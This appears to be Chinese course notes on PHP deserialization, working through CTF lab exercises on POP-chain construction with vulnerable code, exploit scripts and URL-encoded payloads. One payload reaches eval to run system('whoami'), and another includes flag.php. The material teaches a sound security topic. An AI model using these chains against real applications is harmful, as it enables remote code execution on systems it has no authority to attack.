WEB渗透—反序列化(六)

news2024/11/28 22:34:48

Web渗透—反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


十、pop链前置知识-成员属性赋值对象

1.反序列化例题

<?php
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();
    }
    public function __destruct(){         //反序列化unserialize()触发魔术方法destruct()
        $this->test->action();            //destruct()从$test调用action()
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){             //eval()调用$test2
        eval($this->test2);               //可利用漏洞点在函数eval(),(可执行漏洞)
    }
}
unserialize($_GET['test']);
?>

关联点:如何让$test调用evil里面的成员方法action()

解决思路:给$test赋值为对象test = new evil()

2.解题代码

<?php
class index {
    private $test;
    public function __construct(){
        $this->test = new evil();        //关联步骤:给$test赋值实例化对象test = new evil()
    }
}
class evil {                             //序列化只能序列化成员属性,不能序列化成员方法
    var $test2 = "system('whoami');";    //构造命令语句
}
$a = new index();                        //实例化对象index(),自动调用__construct()
echo urlencode(serialize($a));
?>

输出结果:

O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D%7D

解题方法:

此时$a为实例化对象index(),其中成员属性$test=new evil(),$test为实例化对象evil(),成员属性$test=”system(‘whoami’);”;

回显结果:


十一、pop链前置知识-魔术方法触发规则

魔术方法触发的前提:魔术方法所在类(或对象)被调用

1.例题代码

(目标:显示toString is here!!

<?php
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;             //3.在echo中的source包含实例化sec()的对象
    }
}
class sec {
    var $benben;
    public function __tostring(){        //2.把sec()实例化成对象后当成字符串输出
        echo "tostring is here!!";       //1.需要触发__toString()
    }
}
$b = $_GET['benben'];
unserialize($b);
?>

2.解题代码

<?php
class fast {
    public $source;
}
class sec {
    var $benben;
}
$a = new fast();
$b = new sec();
$a -> source = $b;      //将$b当成字符串赋值给source
echo serialize($a);     //在触发wakeup后执行echo从而触发sec里的__toString
?>

在对象$a里让source赋值对象$b,再触发wakeup后执行echo从而触发sec里的toString

输出结果:

O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}

回显结果:


十二、pop链构造和poc编写

1.POP链

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用方法叫“面向属性编程”,即POP(Property Oriented Programming)。

POP链就是利用魔法方法在里面进行多次跳转然后获得敏感数据的一种payload。

2.POC编写

POC(全称:Proof of concept)中文译做概念验证。在安全界可以理解成漏洞验证程序,POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

编写一段不完整的程序,获取所需要的的序列化字符串。

3.例题代码

<?php
//flag is in flag.php
class Modifier {
    private $var;
    public function append($value){
        include($value);
        echo $flag;                   //1.目标:触发echo输出$flag
    }
    public function __invoke(){       //2.触发invoke,调用append,并使$var=flag.php
        $this->append($this->var);    //3.invoke触发条件:把对象当成函数
    }
}
class Show{
    public $source;
    public $str;
    public function __toString(){     //7.触发toString(触发条件:把对象当做字符串)
        return $this->str->source;
                                      //6.给$str赋值为对象Test,而Test中不存在成员属性source,则可触发Test里的成员方法
    }
    public function __wakeup(){
        echo $this->source;           //8.给$source赋值为对象Show,当成字符串被echo调用,触发toString
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){     //5.触发get,(触发条件:调用不存在的成员属性)
        $function = $this->p;        //4.给$p赋值为对象,即function成为对象Modifier,却被当成函数调用,触发Modifier中的invoke
    }
    return $function();
}
if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

解题思路:

第一步:触发invoke,使$var=flag.php;

第二步:触发get,给$p赋值为对象Modifier

第三步:触发toString,给$str赋值为对象Test

第四步:触发wakeup,给$source赋值为对象Show

4.解题代码

<?php
class Modifier {
    private $var="flag.php";     //根据提示flag在flag.php,将$var赋值为flag.php
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a = new Modifier();             //实例化Modifier为$a
$b = new Show();                 //实例化Show为$b
$c = new Test();                 //实例化Test为$c
$c -> p = $a;
$b -> str = $c;
$b -> source = $b;
echo urlencode(serialize($b));
?>

输出结果:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D 

回显结果:

获得ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1256594.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

黑马程序员索引学习笔记

文章目录 索引的分类从索引字段特性从物理存储从数据结构组成索引的字段个数 InnoDB主键索的Btree高度为多高呢?explain执行计划最左匹配原则索引失效情况SQL提示覆盖索引、回表查询前缀索引索引设计原则 索引的分类 从索引字段特性 主键索引、唯一索引、常规索引、全文索引…

2023 年最新百度智能云千帆大模型 Node.Js 本地测试 / 微信机器人详细教程(更新中)

千帆大模型概述 一站式企业级大模型平台&#xff0c;提供先进的生成式AI生产及应用全流程开发工具链。直接调用ERNIE-Bot 4.0及其他主流大模型&#xff0c;并提供可视化开发工具链&#xff0c;支持数据闭环管理、专属大模型定制、大模型训练调优、插件编排等功能。 千帆大模型…

RHCE---给openlab搭建web网站

作业&#xff1a;请给openlab搭建web网站 网站需求&#xff1a; 1.基于域名 www.openlab.com 可以访问网站内容为 welcome to openlab!!! 2.给该公司创建三个子界面分别显示学生信息&#xff0c;教学资料和缴费网站&#xff0c; 1、基于 www.openlab.com/student 网站访问学生信…

中国一年有457万人确诊癌症!医生提示:这4种食物,再爱吃也要管住嘴

癌症是威胁人类生命健康的重大疾病&#xff0c;癌症的发生因素一直以来都是专家学者重点探索的课题。据世卫组织最新公布的数据显示&#xff0c;食物或与癌症发生之间存在着密切的联系&#xff0c;某些食物的摄入过多可能会增加患癌症的风险&#xff0c;所以我们应该警惕&#…

LeetCode Hot100 124.二叉树中的最大路径和

题目&#xff1a; 二叉树中的 路径 被定义为一条节点序列&#xff0c;序列中每对相邻节点之间都存在一条边。同一个节点在一条路径序列中 至多出现一次 。该路径 至少包含一个 节点&#xff0c;且不一定经过根节点。 路径和 是路径中各节点值的总和。 给你一个二叉树的根节点…

佳易王个体诊所门诊电子处方软件试用版下载,佳易王电子处方软件的配方模板功能作用与教程

佳易王个体诊所门诊电子处方软件试用版下载&#xff0c;佳易王电子处方软件的配方模板功能作用与教程 1、软件试用版及教程可以点击下方的官网卡片 2、软件中有一个实用的功能&#xff0c;配方模板功能&#xff0c;在开处方单时候可以一键导入配方&#xff0c;节省时间。 而…

2024年天津天狮学院专升本市场营销专业《市场营销学》考试大纲

2024年天津天狮学院专升本市场营销专业高职升本入学考试《市场营销学》考试大纲 一、考试性质 《市场营销学》专业课程考试是天津天狮学院市场营销专业高职升本入学考试的必 考科目之一&#xff0c;其性质是考核学生是否达到了升入本科继续学习的要求而进行的选拔性考试。《市…

2019年全国硕士研究生入学统一考试管理类专业学位联考英语(二)试题

文章目录 2019年考研英语二真题SectionⅠ Use of EnglishSection II Reading ComprehensionText 121——细节信息题22——细节信息题23——细节信息题24——细节信息题25——词义题 Text 226——细节信息题27——细节信息题28——细节信息题29——细节信息题30——态度题 Text …

6.3 Windows驱动开发:内核枚举IoTimer定时器

内核I/O定时器&#xff08;Kernel I/O Timer&#xff09;是Windows内核中的一个对象&#xff0c;它允许内核或驱动程序设置一个定时器&#xff0c;以便在指定的时间间隔内调用一个回调函数。通常&#xff0c;内核I/O定时器用于周期性地执行某个任务&#xff0c;例如检查驱动程序…

基于helm的方式在k8s集群中部署gitlab - 升级(三)

接上一篇 基于helm的方式在k8s集群中部署gitlab - 部署&#xff08;一&#xff09;&#xff0c;本篇重点对gitlab在k8s集群中进行升级 文章目录 1. gitlab 升级1.1 获取release1.2 下载目前版本的gitlab charts1.3 获取当前的values文件1.4 升级 2. gitlab数据库升级2.1 备份数…

【Linux】记录错误信息日志的实现

文章目录 前言一、 目录实现&#xff08;log.hpp&#xff09;二、目录的具体使用1.comm.hpp&#xff08;管道初始化&#xff09;2.sever.cpp&#xff08;为读端且令其创建命名管道&#xff09;3.client.cpp(为写端) 前言 我们这个设计的日志可以自定以输出的方向&#xff0c;可…

echart一键生成迁徙图

echart_move 介绍 echart迁徙图&#xff0c;选择起点和目的地生成迁徙图 软件架构 html echarts js 使用说明 将文件放到同一目录下打开index.html即可 默认是小飞机图标&#xff0c;如果想修改图标&#xff0c;将图片放到同一目录&#xff0c;如1.svg 代码修改为对应位…

windows本地dockr的clickhouse链接本地mysql服务,连接不上

不想看过成的&#xff0c;解决办法在最后面 报错信息&#xff1a; SQL 错误 [1000] [08000]: Poco::Exception. Code: 1000, e.code() 0, Exception: Connections to all replicas failed: test1localhost:3306 as user root (version 21.12.3.32 (official build)) , serve…

使用Selenium、Python和图鉴打码平台实现B站登录

selenium实战之模拟登录b站 基础知识铺垫&#xff1a; 利用selenium进行截图&#xff1a; driver.save_screenshot() 注意图片文件名要用png结尾. 关于移动&#xff1a; ActionChains(bro).move_to_element_with_offset()# 对于某个图像ActionChains(bro).move_by_offset(…

敢做敢当——歌手荆涛与歌曲《敢做敢当》的精神内核

在人生的道路上&#xff0c;多少次我们渴望前方&#xff0c;梦想在远方熠熠生辉&#xff0c;然而等待我们的&#xff0c;却往往是昨日的辉煌。面对这样的境遇&#xff0c;我们应该如何选择&#xff1f;荆涛的歌曲《敢做敢当》给出了我们一个明确的答案。 一、风中伫立&#xff…

LeetCode198.打家劫舍

打家劫舍和背包问题一样是一道非常经典的动态规划问题&#xff0c;只要做过几道动态规划的题&#xff0c;这道题简直就非常容易做出来。我应该花了10来分钟左右就写出来了&#xff0c;动态规划问题最重要的就是建立状态转移方程&#xff0c;就是说如何从上一个状态转移到下一个…

Matlab数学建模算法详解之混合整数线性规划 (MILP) 算法(附完整实现代码)

&#x1f517; 运行环境&#xff1a;Matlab &#x1f6a9; 撰写作者&#xff1a;左手の明天 &#x1f947; 精选专栏&#xff1a;《python》 &#x1f525; 推荐专栏&#xff1a;《算法研究》 #### 防伪水印——左手の明天 #### &#x1f497; 大家好&#x1f917;&#x1f91…

Python 进阶(十一):高精度计算(decimal 模块)

《Python入门核心技术》专栏总目录・点这里 文章目录 1. 导入decimal模块2. 设置精度3. 创建Decimal对象4. 基本运算5. 比较运算6. 其他常用函数7. 注意事项8. 总结 大家好&#xff0c;我是水滴~~ 在进行数值计算时&#xff0c;浮点数的精度问题可能会导致结果的不准确性。为了…

【研究中】sql server权限用户设置23.11.26

--更新时间2023.11.26 21&#xff1a;30 负责人&#xff1a;jerrysuse DBAliCMSIF EXISTS (select * from sysobjects where namehkcms_user)--判断是否存在此表DROP TABLE hkcms_user CREATE TABLE hkcms_user (id int primary key identity(1, 1),username char(32) NOT N…

【多线程】-- 03 龟兔赛跑案例线程创建方法之三:Callable接口

多线程 2 线程创建 【续】2.2 龟兔赛跑案例 首先需要一个赛道距离&#xff0c;然后会距离终点越来越近判断比赛是否结束打印出胜利者龟兔赛跑开始故事中是乌龟获胜&#xff0c;兔子需要睡觉&#xff0c;所以要模拟兔子睡觉最终&#xff0c;乌龟赢得比赛 package com.duo.de…